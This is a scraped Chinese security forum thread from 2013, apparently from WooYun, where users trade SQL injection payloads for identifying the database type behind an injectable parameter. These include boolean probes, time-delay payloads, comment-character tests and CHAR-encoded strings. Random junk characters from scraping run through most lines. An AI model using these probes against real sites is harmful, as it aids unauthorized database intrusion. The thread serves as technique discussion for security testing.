一个注射点如何最快速确认是什么类型数据库
2 n% m+ @% J. C! k/ i# J( z% f- axsser (十根阳具有长短!!) | 2013-02-05 12:36
' D5 m: r* _) T* E假设这么一个注射点:
: `+ H9 ^$ g7 c K) B6 sshow.html?id=28 @4 I6 O5 P. A* H, c h
mysql:id=2 and version()>0
1 M$ f0 C k* k2 h! N% roracle:id=2 and '1'||'1'='11
' [5 K" n5 x" ]6 Y% C! x' ^4 A其他的欢迎补充
& l3 S, K, M/ ~. N7 a+ s1#8 Q0 w0 Z; F/ ~' [3 q9 f; J' x* K
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:471 W& v$ D* p: h; }( c
Access:
8 M. }* [# I2 X$ saNd aSc(cHr(97))=97+ a! q( b! Z' p( s3 F* h) K
and exists(select id from MSysAccessObjects)3 b+ C7 A) t, s2 S) J) E) l
SQL Server:, _3 ?4 d7 f3 Z p
and exists(select id from sysobjects)& C# ]! B/ b+ Y, }: _0 ~
and length(user)>0
3 l6 b. }3 G: c6 m$ h8 ^8 |9 S5 mMySQL:' _1 H2 ~# r( d, u* T7 j, ?' ^; @
and length(user())>0
! h) X' j+ u4 m1 n4 Y" ^2## }: v9 s( C9 f1 p$ o' y6 t
xsser (十根阳具有长短!!) | 2013-02-05 12:48
# _! a+ y$ O4 O4 y/ C@upload 如果这些都不是呢…
e3 ^( l X3 m j* f+ e/ T3 [3#/ N6 \9 p/ G4 }9 y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
, K5 {' G5 V t T2 N@xsser 不快速的,延时注入
- {- q& C3 z# q' K1 x9 d6 ?不知道这样写对不对
+ Q# w* w6 L6 [; Z8 qmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
+ x. d% A1 Y9 \; W3 \# Qmysql:id=2 and select benchmark(1e8,current_date());5 n4 S. K$ m; k9 X. B% C3 Q4 i/ |
4#
+ v$ z3 r8 ~2 e$ p4 j9 s" }upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10: f7 s' Y7 M6 L( O6 \
最快的貌似是看报错信息2 V3 Y0 X$ {5 h
oracle error# n' h2 G1 e$ L- c, G4 c. q
mssql error: W! w3 \% p$ _7 J" D
mysql error
% Y a2 p" D5 I" s5#
8 V m+ n* m) O9 X6 ~Nimda (你们都是坏银~) | 2013-02-05 13:14) j* E/ Q7 v" `+ u( l% J) Q, a
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
7 U6 w6 U5 {( X; g/ i6#
5 p. t7 O" g8 Q! A* d3 P) }" m& y1 k3 xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:219 K- e0 I1 K1 D' l
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:1 O/ a1 {0 j2 _$ z
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
, @0 k' z3 g8 b2 S) e! r“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。! m7 k6 y4 l3 e& {( N: R
7#
( h9 ]: f6 L+ J. B& h4 I_Evil (HackEnd) | 2013-02-05 13:335 ?# l, w' z) \. c. Z
PostgreSQL
# @% f1 a. K. _5 B/ I8#' i' K$ V5 P2 C- R' a5 y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
: X6 j# |& F: d2 Z+ t8 [7 B i9 N切换编码 and 1=1
4 e# `' m0 ~3 d4 i/ h& [oracle: z2 l) b3 G) L6 E
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)( x2 P" M+ E% ~1 {+ U& @
mssql:; x# x$ K0 O6 L3 P% a6 X
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)' V. }) c1 b0 P$ B
mysql:! b# Q/ [7 W) z) a
CHAR(97, 110, 100, 32, 49, 61, 49)# _( t) ]" q. J+ l! a
9#6 u* f5 S- G* Y% S3 N Q
xsser (十根阳具有长短!!) | 2013-02-05 14:316 |) a" ~" h* b' q& `9 s& n
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?1 o% f9 _. ]3 O3 G/ W
10#% D6 |2 J! J3 T6 b) M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46$ V( ?7 ~/ J2 d; m! @1 p, b" x
@xsser 是奇葩数据库类型的么?; ~# b- U! l9 l3 R+ {
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
% T' ]$ R2 i9 e% Q1.是否可以使用特定的函数来判断,该数据库特有的
2 [/ s5 o) d8 i: K2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
) k: Z0 K$ ^. ^6 `, Q! b7 U3.是否可以编码查询
3 p5 _# ~) s5 C' V( E4.是否显可以利用错信息
! q4 |1 U9 t( w$ Z6 T- z5.是否存在数据库某些特性辅助判断
9 A' Q+ ]6 R$ f8 e( Z个人见解
+ ~" {. D0 i+ y, U, P R11#
. C( M6 _1 ^( ]& ~- R小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
7 f' V3 h% U. _% J已收藏,mssql可以直接看到错误提示的吧~: a ^9 u. I4 I! B8 v* x
12#5 j8 c4 R1 B/ u, z; N5 p, c
Passer_by | 2013-02-05 15:09
: L$ r: s; \4 j2 n/ q! t0 H5 p: e9 B曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。3 m0 X$ u2 f6 E' L
from:http://zone.wooyun.org/content/260 |